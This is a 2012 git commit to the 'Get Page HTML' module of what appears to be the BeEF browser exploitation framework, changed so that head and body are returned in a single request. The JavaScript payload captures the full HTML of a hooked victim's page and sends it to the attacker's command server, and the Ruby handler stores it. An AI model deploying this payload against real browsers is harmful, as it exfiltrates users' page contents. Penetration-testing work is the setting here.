Updated Get Page HTML module:

o Now returns head and body in one beef.send() request
o Now stores results correctly
This commit is contained in:
bcoles
2012-03-04 20:24:04 +10:30
parent 0485a1ab7e
commit 753299e758
2 changed files with 5 additions and 5 deletions

View File

@@ -16,18 +16,17 @@
beef.execute(function() {
try {
var html_head = escape(document.head.innerHTML.toString());
var html_head = document.head.innerHTML.toString();
} catch (e) {
var html_head = "Error: document has no head";
}
try {
var html_body = escape(document.body.innerHTML.toString());
var html_body = document.body.innerHTML.toString();
} catch (e) {
var html_body = "Error: document has no body";
}
beef.net.send("<%= @command_url %>", <%= @command_id %>, 'head='+html_head);
beef.net.send("<%= @command_url %>", <%= @command_id %>, 'body='+html_body);
beef.net.send("<%= @command_url %>", <%= @command_id %>, 'head='+html_head+'&body='+html_body);
});

View File

@@ -17,7 +17,8 @@ class Get_page_html < BeEF::Core::Command
def post_execute
content = {}
content['html'] = @datastore['html']
content['head'] = @datastore['head']
content['body'] = @datastore['body']
save content
end